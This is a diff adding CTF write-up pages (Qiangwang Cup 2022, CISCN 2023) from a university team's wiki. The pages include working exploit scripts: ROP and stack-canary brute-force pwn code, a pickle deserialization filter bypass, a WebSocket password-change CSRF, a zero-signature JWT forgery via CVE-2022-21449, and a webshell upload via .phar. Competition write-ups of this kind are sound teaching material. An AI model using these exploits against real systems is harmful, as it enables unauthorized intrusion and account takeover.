+    c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
+    if len(a) != 42:
+        print('wrong length')
+        return 0
+    b = 179
+    for i in range(len(a)):
+        if ord(a[i]) * 33 % b != c[i]:
+            print('wrong')
+            return
+
+    print('win')
+
+
+check()
+
+

仿射,但是简单遍历输入就能得到正确的flag:

+
c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12,
+     171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
+for i in c:
+    for a in range(32, 127):
+        if a * 33 % 179 == i:
+            print(chr(a), end="")
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/2022\345\274\272\347\275\221\346\235\257/readme/index.html" "b/Writeup/2022\345\274\272\347\275\221\346\235\257/readme/index.html" new file mode 100644 index 000000000..aaaa2c720 --- /dev/null +++ "b/Writeup/2022\345\274\272\347\275\221\346\235\257/readme/index.html" @@ -0,0 +1,8421 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 强网杯2022-HED-WriteUp - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

强网杯2022-HED-WriteUp

+

Rank: 74 708pts 10Solved
+HED 是南方科技大学COMPASS实验室的CTF战队

+

解题情况(全部10题):

+ +

MISC

+

签到-Misc-8

+

签到

+

问卷调查-Misc-27

+

问卷

+

谍影重重(二血)-Misc-271

+

首先看 config.json 的内容,发现很像 v2ray 的配置文件,于是手搓 VMess 协议。这部分没啥好说的,就看规范和代码直接对着实现一遍,确实硬核。

+
import hmac
+import hashlib
+from Crypto.Hash import SHAKE128
+from Crypto.Cipher import AES
+
+uuid = bytes.fromhex('b831381d63244d53ad4f8cda48b30811')  # 取自 config.json
+
+def get_timestamp(f):
+    correct = f.read(16)
+    t0 = 1615528962  # 取自 pcap 的时间
+    for t in range(t0 - 60, t0 + 60):
+        h = hmac.new(uuid, int.to_bytes(t, 8, byteorder='big'), digestmod='MD5')
+        if h.digest() == correct:
+            return t
+
+def decode_send_header(f, t):
+    key = hashlib.md5(uuid + b'c48619fe-8f02-49e0-b9e9-edf763e17e21').digest()
+    iv = hashlib.md5(int.to_bytes(t, 8, byteorder='big') * 4).digest()
+    cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=AES.block_size*8)
+    header = cipher.decrypt(f.read(38))
+    iv = header[1:17]
+    key = header[17:33]
+    return iv, key
+
+def decode_recv_data(f, iv, key):
+    iv = hashlib.md5(iv).digest()
+    key = hashlib.md5(key).digest()
+    shade = SHAKE128.new(data=iv)
+
+    f.seek(4)
+    data = b''
+    count = 0
+    while True:
+        padding = int.from_bytes(shade.read(2), byteorder='big') % 64
+        length = int.from_bytes(f.read(2), byteorder='big') ^ int.from_bytes(shade.read(2), byteorder='big')
+        if length - padding == 16:
+            break
+        chunk = f.read(length)
+        if padding > 0:
+            chunk = chunk[:-padding]
+
+        chunk_iv = int.to_bytes(count, 2, byteorder='big') + iv[2:12]
+        cipher = AES.new(key, AES.MODE_GCM, chunk_iv)
+        chunk = cipher.decrypt_and_verify(chunk[:-16], chunk[-16:])
+        data += chunk
+        count += 1
+    return data
+
+if __name__ == '__main__':
+    with open('send.dat', 'rb') as f:
+        t = get_timestamp(f)
+        iv, key = decode_send_header(f, t)
+    with open('recv.dat', 'rb') as f:
+        data = decode_recv_data(f, iv, key)
+    with open('content.txt', 'wb') as f:
+        f.write(data)
+
+

然后发现是一个 HTTP 请求,把 html 里面的东西保存,得到了一个 0208_54741869750132.doc

+

doc文档下载后火绒报毒不断,分离出的dll文件看起来并不简单,考虑到大概率要提取宏病毒中的API地址,直接把文件上传到微步云沙箱分析行为,发现是真的病毒(https://s.threatbook.com/report/file/3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d)

+

同时在样本报告里找到了api地址 api.ipify.org
+(看起来并不是只有我们是这样做的,写wp时发现7月31又被上传了几次)

+

解压后拿到一个自称是GOB文件的二进制,怀疑是go的序列化对象或者是游戏资源文件,把文件头8字节十六进制放到谷歌里可以搜到一个github的poc仓库,因此确认该文件是go的打包文件。

+

用 pygob 读取,里面有时间戳 2022-07-19 14:49:56 和一个所谓的 PNG 文件,但是这个 PNG 打不开。

+

然后根据提示(~~唯一有用的提示~~),这个文件打乱过。然后因为有时间,所以可以考虑用时间作为种子,把这个随机过程还原。

+
func main() {
+    rand.Seed(1658213396)  // 2022-07-19 14:49:56
+
+    raw, err := os.ReadFile("p.png")
+    len := len(raw)
+    mapping := make([]int, len)
+    data := make([]byte, len)
+
+    for i := 0; i < len; i++ {
+        mapping[i] = i
+    }
+    rand.Shuffle(len, func(i, j int) {
+        mapping[i], mapping[j] = mapping[j], mapping[i]
+    })
+    for i := 0; i < len; i++ {
+        data[mapping[i]] = raw[i]
+    }
+
+    f, err := os.Create("q.png")
+    f.Write(data)
+}
+
+

然后还原之后,就得到了一张正常的 PNG 图片。不过里面也不直接是 flag。经过观察,图片的白色部分和蓝色部分都是全白或全蓝,没有信息。不过字的边缘有点意思。经过尝试,发现排除全白和全蓝像素之后,把 alpha 的数据直接提取拼接之后,就是 flag 了。

+
from PIL import Image
+img = Image.open('q.png')
+for x in img.getdata():
+    if x != (255, 255, 255, 255) and x != (0, 0, 255, 255):
+        print(hex(x[3])[2:], end='')
+        # 然后把输出 hex 解码一下即可
+
+

强网先锋

+

(推测强网先锋是难度较低的题目,但是分类未知)

+

rcefile-强网先锋-24

+

私有环境,猜测需要简单扫描,御剑尝试100条常见路径发现www.zip源码。

+

上传文件后缀过滤很严格,且没什么绕过的机会,前边也被拼接了md5,不能传.htacess

+

于是把所有php合法扩展名都试一遍(https://book.hacktricks.xyz/pentesting-web/file-upload) ,发现phps文件会403,继续测试剩余扩展名发现phar文件可以解析。

+

传马,结束。

+

ASR-强网先锋-68

+

factordb只能获得开方的结果。

+

分解四个128位质数的乘积应该并不复杂,放到yafu里单线程跑不到一小时就能出来

+
SIQS elapsed time = 8.5662 seconds.
+Total factoring time = 2415.3993 seconds
+
+P39 = 223213222467584072959434495118689164399
+P39 = 260594583349478633632570848336184053653
+P39 = 218566259296037866647273372633238739089
+P39 = 225933944608558304529179430753170813347
+
+

e和phi不互素,数理基础匮乏的我们并没有用phi = (p-1)*(q-1)*(r-1)*(s-1)*p*q*r*s梭出答案

+

在 https://www.modb.pro/db/404740 的讨论中找到能用的脚本,抄过来改少一个因子

+

sage部分

+
n = p * q * r * s * p * q * r * s
+e = 3
+print(n)
+phi = (p - 1) * (q - 1) * (r - 1) * (s - 1)
+R.<x> = Zmod(p)[]
+f = x ^ e - c
+f = f.monic()
+res1 = f.roots()
+
+R.<x> = Zmod(q)[]
+f = x ^e - c
+f = f.monic()
+res2 = f.roots()
+
+R.<x> = Zmod(r)[]
+f = x ^e - c
+f = f.monic()
+res3 = f.roots()
+
+R.<x> = Zmod(s)[]
+f = x ^e - c
+f = f.monic()
+res4 = f.roots()
+
+print(res1,res2,res3,res4,sep='\n')
+
+

python部分

+
res1=[(61230132932186378005663689217798805559, 1)]
+res2=[(127287570627900634195349274487282947698, 1)]
+res3=[(159183122833201520722281740271702531008, 1), (54017009972585088360569997378772209006, 1), (5366126490251257564421634982763999075, 1)]
+res4=[(97828969479259149226856141068289169207, 1), (84132055525449472521332928867042183796, 1), (43972919603849682780990360817839460344, 1)]
+
+def union(x1, x2):
+    a1, m1 = x1
+    a2, m2 = x2
+    d = gmpy2.gcd(m1, m2)
+    assert (a2 - a1) % d == 0
+    p1, p2 = m1 // d, m2 // d
+    _, l1, l2 = gmpy2.gcdext(p1, p2)
+    k = -((a1 - a2) // d) * l1
+    lcm = gmpy2.lcm(m1, m2)
+    ans = (a1 + k * m1) % lcm
+    return ans, lcm
+
+
+def excrt(ai, mi):
+    tmp = zip(ai, mi)
+    return reduce(union, tmp)
+
+
+for i in res1:
+    for j in res2:
+        for k in res3:
+            for l in res4:
+                ai = [i[0], j[0], k[0], l[0]]
+                # print(ai)
+                mi = [p, q, r, s]
+                flag = excrt(ai, mi)
+                flag = hex(flag[0])
+                try:
+                    print(bytes.fromhex(flag[2:]))
+                except:
+                    ...
+
+

polydiv-强网先锋-48

+

给出等式 $a(x) \times b(x) + c(x) = r(x)$,并给出多项式 $a(x), c(x), r(x)$,求 $b(x)$。

+

移一下项,得到 $b(x) = \big( r(x) - c(x) \big) \div a(x)$,前面减法部分很 trivial,后面除法的部分,因为已知能整除,所以直接上多项式除法即可。

+
from pwn import *
+import hashlib
+import itertools
+
+conn = remote('IP', PORT)
+
+def proof():
+    line = conn.recvline().decode().strip()
+    conn.recv()
+    hexdigest = line.split(' == ')[1]
+    suffix = line[12:28]
+    charset = string.ascii_letters + string.digits
+    for x in itertools.product(charset, repeat=4):
+        plain = ''.join(x) + suffix
+        if hashlib.sha256(plain.encode()).hexdigest() == hexdigest:
+            conn.sendline(''.join(x))
+
+def decode_poly(line):
+    line = line.split(' = ')[1]
+    arr = None
+    for item in line.split(' + '):
+        p = 0 if item == '1' else (1 if item == 'x' else int(item[2:]))
+        if arr is None:
+            arr = [ 0 for _ in range(p + 1) ]
+        arr[p] = 1
+    return arr
+
+def poly_add(x, y):
+    if len(x) < len(y):
+        x, y = y, x
+    x = x[:]
+    for i in range(len(y)):
+        x[i] = (x[i] + y[i]) % 2
+    return x
+
+def poly_div(x, y):  # x / y
+    x = x[:]
+    b = [ 0 for _ in range(len(x)) ]
+    low = min([ i for i, v in enumerate(y) if v == 1 ])
+    for i in range(len(x) - low):
+        c_pos = i + low
+        if x[c_pos] != 0:
+            b[i] = 1
+            for j in range(len(y)):
+                x[i + j] = (x[i + j] + y[j]) % 2
+    return b
+
+def solve():
+    pr = decode_poly(conn.recvline().decode().strip())
+    pa = decode_poly(conn.recvline().decode().strip())
+    pc = decode_poly(conn.recvline().decode().strip())
+    conn.recvline()  # Please give me the b(x) which satisfy a(x)*b(x)+c(x)=r(x)
+    conn.recv()      # > b(x) =
+
+    pb = poly_div(poly_add(pr, pc), pa)
+    terms = []
+    for i, v in list(enumerate(pb))[::-1]:
+        if v != 0:
+            terms.append('1' if i == 0 else ('x' if i == 1 else f'x^{i}'))
+    conn.send(' + '.join(terms))
+    print(conn.recvline())  # Success!
+
+if __name__ == '__main__':
+    proof()
+    for _ in range(40):
+        solve()
+    conn.interactive()
+
+

Web

+

babyweb-Web-44

+

这个 bot 的主要功能就是可以用 bugreport http://host:port/login 这条指令,让服务器访问这个网站。经过测试,它是可以运行 JavaScript 的。

+

然后发现 admin 已经被注册了,不过我们可以尝试修改它的密码,然后尝试登录。从题面的 docker 命令可以知道它在本地的端口是 8888,所以构造一个 html 文件,来向 127.0.0.1 发送修改密码指令:

+
<html><body><script>
+ws = new WebSocket('ws://127.0.0.1:8888/bot');
+ws.onopen = function() {
+    ws.send('changepw 123456');
+}
+</script></body></html>
+
+

然后修改完之后用 admin123456 登录,就可以到一个购物小车的后台。然后发现只有 200$,买不了 flag。不过通过观察源码,可以知道购买的逻辑分布在两个不同的后端中,其中一个检查金钱够不够,另外一个将买到的东西加入到用户属性中。所以就可以尝试走私,让「检查金钱」的觉得不用买,通过检查,让「买东西」的可以成功买到东西。经测试,下面的 payload 可以成功走私:

+
{
+    "product":[{"id":1,"num":0},{"id":2,"num":0}],
+    "product":[{"id":1,"num":1},{"id":2,"num":1}]
+}
+
+

crash-Web-76

+

观察源码:

+
@app.route('/balancer', methods=['GET', 'POST'])
+def flag():
+    pickle_data=base64.b64decode(request.cookies.get("userdata"))
+    if b'R' in pickle_data or b"secret" in pickle_data:
+        return "You damm hacker!"
+    userdata=pickle.loads(pickle_data)
+    if userdata.token!=hash(get_password(userdata.username)):
+         return "Login First"
+    if userdata.username=='admin':
+        return "Welcome admin, here is your next challenge!"
+    return "You're not admin!"
+
+

一眼看上去就是 pickle 反序列化利用。但是这里禁用了 R 指令,不过问题不大,这里可以直接用 o 来平替。即 <func>(<args>tR 等价于 (<func><args>o。把 pker.py 脚本简单修改一下之后就能拿来用了。

+

(这里队内的M神已经RCE了,但是发现没权限读nginx的配置文件,环境也是很新的好像并没有什么提权的机会)

+

然后下一步就是让 token != hash(...)False,这个我一开始尝试从 app.get_passwordadmin.secret 拿密码,但是拿不到。所以尝试将 token 变成一个对象,然后把这个对象的 __ne__ hack 为永远返回 False

+

下为 payload:~~发现不知道为啥不需要绕 secret,不过要绕过也很简单,拿 str.__add__ 绕即可~~

+
partial = GLOBAL('functools', 'partial')
+getattr = GLOBAL('__builtin__', 'getattr')
+OrderedDict = GLOBAL('collections', 'OrderedDict')
+startswith = getattr(GLOBAL('__builtin__', 'str'), 'startswith')
+User = GLOBAL('app', 'User')
+
+false = partial(startswith, '1', '2')
+user.__ne__ = false
+forever_ne = User('1', '2')
+
+data = OrderedDict()
+data.token = forever_ne
+data.username = 'admin'
+
+return data
+
+

然后这个 payload 扔上去之后就进到了一个均衡负载页面。结合时事(指某垃圾二次元视频网站的事故分析),发现把 weight 设置成 0 可以让 gcd 函数死循环,最终 504 从而拿到 flag。

+

Reverse

+

GameMaster-Reverse-80

+

GitHub可以根据运行时的标题搜到原始的仓库,对照dnspy的结果简单看一下是多了一个大的后门函数,以及dll多了一个gencode,但是并没有用到。

+

exe里的后门函数有三个checkpoint,第一步取出message数据,第二步xor 34,第三步AES-ECB解密,密钥Brainstorming!!!

+

解密的文件前半段被赛博厨子识别为ttf字体,但是后半段显然有函数,导出给binwalk看一下被告知后半段有exe,但是没有自动分离出来,手动找到mz头分离出发现还是.net程序,继续给dnspy分析,定位到校验flag的函数,x y z三个ULONG变量未知,结果已知,flag密文已知,求得xyz即可获得解密密钥。

+

结果的40个byte的每一位对应一轮的result,于是队友M神直接给Z3丢了320个约束条件,10秒就跑出来了xyz。

+

(怎么klee跑了10分钟都没结果呢。STP和Z3差距这么大吗)

+
import z3
+
+def rotate():
+    global x, y, z
+    x = ((((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1)) & 0xFFFFFFFFF
+    y = ((((y >> 30) ^ (y >> 27)) & 1) | (y << 1)) & 0xFFFFFFFFF
+    z = ((((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1)) & 0xFFFFFFFFF
+
+def summary():
+    global x, y, z
+    return ((((z >> 32) & 1) & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1))) & 1
+
+
+x0, y0, z0 = z3.BitVecs('x y z', 33)
+x, y, z = x0, y0, z0
+bits = [0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1]
+
+s = z3.Solver()
+for i in range(320):
+    rotate()
+    s.add(summary() == bits[i])
+
+s.check()
+model = s.model()
+print(model)
+
+array = [ model[x0].as_long(), model[y0].as_long(), model[z0].as_long() ]
+key = [ 0 for _ in range(12) ]
+ciphertext = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
+
+for i in range(3):
+    for j in range(4):
+        key[i * 4 + j] = (array[i] >> (j * 8)) & 0xFF
+
+for i in range(len(ciphertext)):
+    ciphertext[i] = ciphertext[i] ^ key[i % 12]
+
+print(bytes(ciphertext))
+
+

Crypto

+

myJWT-Crypto-62

+

没给出fastjson的版本,结合题目描述 misc&crypto 且是公共环境,考虑并不是最新的反序列化,那就只剩java自己的库。

+

CVE-2022-21449

+

java验证:

+
var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
+var blankSignature = new byte[64]; // 默认是0
+var sig = Signature.getInstance("SHA256WithECDSAInP1363Format");
+sig.initVerify(keys.getPublic());
+sig.update("admin:False".getBytes());
+System.out.println(sig.verify(blankSignature));
+
+

签名全是0可以永远通过校验,jwt exp: +eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiZnJhbmsiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxODU5MjM1NjAwNzYwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/2023ciscn1/images/45f5d0a84e79c711c1249f978dab477fa6cf19fbb5dc254759eb04437996a09b.png b/Writeup/2023ciscn1/images/45f5d0a84e79c711c1249f978dab477fa6cf19fbb5dc254759eb04437996a09b.png new file mode 100644 index 000000000..1c5d8920a Binary files /dev/null and b/Writeup/2023ciscn1/images/45f5d0a84e79c711c1249f978dab477fa6cf19fbb5dc254759eb04437996a09b.png differ diff --git a/Writeup/2023ciscn1/images/50152d85a992a20b0a503128deb40785d596196e02fa7a0d11e700c62e9ea9f6.png b/Writeup/2023ciscn1/images/50152d85a992a20b0a503128deb40785d596196e02fa7a0d11e700c62e9ea9f6.png new file mode 100644 index 000000000..44c3f32f2 Binary files /dev/null and b/Writeup/2023ciscn1/images/50152d85a992a20b0a503128deb40785d596196e02fa7a0d11e700c62e9ea9f6.png differ diff --git a/Writeup/2023ciscn1/images/5e69c119178a3e4d15501981767aac8704ef9d49fb1300d41ab906b8f8b320c0.png b/Writeup/2023ciscn1/images/5e69c119178a3e4d15501981767aac8704ef9d49fb1300d41ab906b8f8b320c0.png new file mode 100644 index 000000000..476a6c0e8 Binary files /dev/null and b/Writeup/2023ciscn1/images/5e69c119178a3e4d15501981767aac8704ef9d49fb1300d41ab906b8f8b320c0.png differ diff --git a/Writeup/2023ciscn1/images/c088ce8eea97c0b41a4ecb4ee26dfe661ee4cddcc0b2b0782dd70797a04accba.png b/Writeup/2023ciscn1/images/c088ce8eea97c0b41a4ecb4ee26dfe661ee4cddcc0b2b0782dd70797a04accba.png new file mode 100644 index 000000000..c244bfe6a Binary files /dev/null and b/Writeup/2023ciscn1/images/c088ce8eea97c0b41a4ecb4ee26dfe661ee4cddcc0b2b0782dd70797a04accba.png differ diff --git a/Writeup/2023ciscn1/images/f43d7673c12a25a67453b270001071cb3a3b2e4ca46d0a65d7ca5d10b396270e.png b/Writeup/2023ciscn1/images/f43d7673c12a25a67453b270001071cb3a3b2e4ca46d0a65d7ca5d10b396270e.png new file mode 100644 index 000000000..8b5b679ff Binary files /dev/null and b/Writeup/2023ciscn1/images/f43d7673c12a25a67453b270001071cb3a3b2e4ca46d0a65d7ca5d10b396270e.png differ diff --git a/Writeup/2023ciscn1/images/f9d566d35460343d3b204f4c7f4220a6003e97ef4022fd2a88bcd1ee3932682a.png b/Writeup/2023ciscn1/images/f9d566d35460343d3b204f4c7f4220a6003e97ef4022fd2a88bcd1ee3932682a.png new file mode 100644 index 000000000..068ee2662 Binary files /dev/null and b/Writeup/2023ciscn1/images/f9d566d35460343d3b204f4c7f4220a6003e97ef4022fd2a88bcd1ee3932682a.png differ diff --git a/Writeup/2023ciscn1/readme/index.html b/Writeup/2023ciscn1/readme/index.html new file mode 100644 index 000000000..451b86505 --- /dev/null +++ b/Writeup/2023ciscn1/readme/index.html @@ -0,0 +1,8875 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2023 ciscn WriteUp by HED - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+ +
+
+ + + +
+
+ + + + + + + +

2023 ciscn WriteUp by HED

+

HED是南方科技大学COMPASS实验室的CTF战队

+ +

picture 6

+

Crypto

+

day1 基于国密SM2算法的密钥密文分发

+

虽然可以一步一步调库进行计算,但是由于服务器对 /api/search 的管理不是十分到位,于是我们就可以通过访问 /api/allkey, /api/quantum 接口,让服务器生成对应的密钥,然后再访问 /api/search 就可以获得服务器密钥明文,然后 /api/check 一下即可。

+
const BASE_URL = 'http://IP:PORT'
+
+async function post(url, data) {
+    return await fetch(BASE_URL + url, {
+        method: 'POST',
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify(data),
+    })
+}
+
+async function main() {
+    r = await post('/api/login', {
+        school: '...',
+        name: '...',
+        phone: '...',
+    });
+    id = (await r.json()).data.id;
+
+    const publicKey = '031e92b2d450aa111da2d4cc01a532eb277654d442896bd5e4b66cdfb83ff94dfd';
+
+    r = await post('/api/allkey', { id, publicKey });
+    r = await post('/api/quantum', { id });
+    r = await post('/api/search', { id });  // 查询服务器量子密钥
+    data = await r.json();
+
+    r = await post('/api/check', {
+        id,
+        quantumString: data.data.quantumStringServer,
+    });
+
+    r = await post('/api/search', { id });
+    data = await r.json();
+    console.log(data);  // flag HERE
+}
+
+main()
+
+

day1 Sign_in_passwd

+

base64换表给表 +picture 1

+

day2 badkey1

+

翻阅 PyCryptodome 源码,发现唯一可以利用的点是:

+
            if Integer(n).gcd(d) != 1:
+                raise ValueError("RSA private exponent is not coprime to modulus")
+
+

需要构造 d 是 p 的倍数。

+

$$ +\begin{align} +ed &\equiv 1 \pmod{\varphi(n)} \ +ed &= k(p-1)(q-1)+1 \ +emp &= k(p-1)(q-1)+1 \ +em &\equiv 1 \pmod{p-1} +\end{align} +$$

+

随机生成 p,求出对应的逆元 m。

+

$$ +\begin{align} +emp &= k(p-1)(q-1)+1 \ +k(q-1) &= (emp-1)/(p-1) = g +\end{align} +$$ +计算得到 g,它的长度大于 512bits。对 g 进行因式分解,找到 g 的小因子,枚举所有可能的因子组合得到可能的 q,检查 q 的长度为 512bits 而且是质数。最后进行 RSA.construct() 来验证解。

+
from Crypto.Util.number import *
+from Crypto.PublicKey import RSA
+from functools import reduce
+import itertools
+import operator
+
+e = 65537
+
+def valid(p, q):
+    try:
+        assert p > 0
+        assert q > 0
+        assert p != q
+        assert p.bit_length() == 512
+        assert q.bit_length() == 512
+        assert isPrime(p)
+        assert isPrime(q)
+        n = p * q
+        assert p % e != 1
+        assert q % e != 1
+        d = inverse(e, (p-1)*(q-1))
+    except:
+        print("Invalid params")
+    try:
+        key = RSA.construct([n,e,d,p,q])
+        print("This is not a bad RSA keypair.")
+    except KeyboardInterrupt:
+        print("Hacker detected.")
+    except ValueError:
+        print("How could this happen?")
+        exit()
+
+
+def get_subsets_product(nums):
+    subsets = itertools.chain.from_iterable(itertools.combinations(nums, r) for r in range(len(nums)+1))
+    products = [reduce(operator.mul, subset, 1) for subset in subsets]
+    return products
+
+
+while True:
+    p = getPrime(512)
+    m = inverse(e, p-1)
+    g = (e*m*p-1)//(p-1)
+    print(g)
+
+    f = []
+    for i in range(2, 100000):
+        while g % i == 0:
+            f.append(i)
+            g //= i
+    print(f)
+    print(g.bit_length(), g)
+
+    if g.bit_length() <= 512:
+        products = set(get_subsets_product(f))
+        print(products)
+        for product in products:
+            q = g*product+1
+            if q.bit_length() == 512 and isPrime(q):
+                print("m =", m)
+                print("p =", p)
+                print("q =", q)
+                valid(p, q)
+
+"""
+m = 739662064870849344381206806184175992877839090213520670251993876722483241877948397023123405984485744758150988206982230375604910547042328474782788374141431
+p = 9076059304519912653568835509622232174730376419270455751040052929930983752659633794365182298821427121178607248477999331983901708017508534216783299321495407
+q = 7450850406615563092946687743143612364776351130544651731679207300762585954957747324885404035967605633909459162945126718740550111054643879688263080491255299
+"""
+
+
+

day2 bb84

+

阅读材料的大意是:

+
EPC1    4   2   1   2
+APD1    0   0   0   0
+APD2    0   0   0   1
+APD3    0   0   0   0
+APD4    0   0   0   0
+
+

APD1 到 4 中有且只有一个为 1,并且和 EPC1 相等,则这位可以采用为密钥。 +或者 APD1 到 4 中有且只有一个为 1,和 EPC1 不相等,但是在同一个基(如APD1=1,EPC1=2),那么这位需要纠错,纠错之后可以采用。 +将整个序列筛选之后得到可用的序列,然后根据线性同余生成真正的密钥。

+

另外材料中提到了用熵计算安全密钥量,然后把它作为模数。这是一个误导,我在这里卡了很久。因为采用的随机数序列的长度显著多于计算出的安全密钥量,不知道如何选出相应的安全密钥。实际上题目的做法是直接把随机数序列的长度当作安全密钥量,不需要计算熵。

+

之后就是经典的生成流密码,逐个异或。

+
import csv
+
+with open('info.csv', 'r') as file:
+    reader = csv.reader(file, delimiter=',')
+    data = list(reader)
+
+key = []
+error = 0
+
+for i in range(1, len(data[0])):
+    pos = []
+    for j in range(1, 5):
+        if data[j][i] == '1':
+            pos.append(j)
+    if len(pos) == 1:
+        ex = int(data[0][i])
+        if pos[0] == ex:
+            key.append((pos[0]+1)%2)
+        elif (pos[0]-1)//2==(ex-1)//2:
+            #key.append(f'x{(ex+1)%2}')
+            key.append((ex+1)%2)
+            error += 1
+
+M = len(key)
+
+l = len(c)//2*8
+A = 1709
+B = 2003
+x = 17
+gen_key = []
+for i in range(l):
+    s = ''
+    for j in range(8):
+        if type(key[x])==int:
+            s += str(key[x])
+        else:
+            s += key[x][1:]
+        x = (A*x+B)%M
+    gen_key.append(int(s, 2))
+
+hex_values = [int(c[i:i+2], 16) for i in range(0, len(c), 2)]
+for i in range(len(hex_values)):
+    print(chr(hex_values[i]^gen_key[i]), end='')
+
+

PWN

+

day1 烧烤摊儿

+

静态编译栈溢出 没system没exec 标准ORW

+
from pwn import *
+
+p = remote("123.56.99.60", 26637)
+e = ELF('shaokao')
+
+p.sendlineafter(b'>', b'1\n1\n-9999')
+p.sendlineafter(b'>', b'4')
+p.sendlineafter(b'>', b'5')
+context.arch = 'amd64'
+r = ROP(e)
+flag_str = b'/flag\x00'
+r.call(e.symbols['read'], [0, e.bss() + 100, len(flag_str)])
+r.call(e.symbols['open'], [e.bss() + 100, 0, 0])
+r.call(e.symbols['read'], [3, e.bss() + 100, 100])
+r.call(e.symbols['write'], [1, e.bss() + 100, 0x101])
+r.call(e.symbols['write'], [1, e.bss() + 100, len(flag_str)*9])
+p.sendline(b'a' * (0x20 + 8) + r.chain())
+p.sendline(flag_str)
+#gdb.attach(p)
+p.interactive()
+
+

picture 2

+

day2 funcanary

+

抢一血没写循环直接展开了
+fork爆破canry 板子 +然后有ASLR 有win 短跳爆破4bit即可

+
import struct
+
+from pwn import *
+
+cn = remote("39.106.48.123", 27305)
+
+cn.recvuntil(b'welcome\n')
+
+canary = b'\x00'
+for j in range(7):
+    for i in range(0x100):
+        cn.send(b'a' * 104 + canary + struct.pack('B', i))
+        a = cn.recvuntil(b'welcome\n')
+        if b'have fu' in a:
+            canary += struct.pack('B', i)
+            print(canary)
+            break
+
+x = 8
+cn.send(b'a' * 104 + canary + b'a' * x + b'\x31\x02')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x12')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x22')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x32')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x42')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x52')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x62')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x72')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x82')
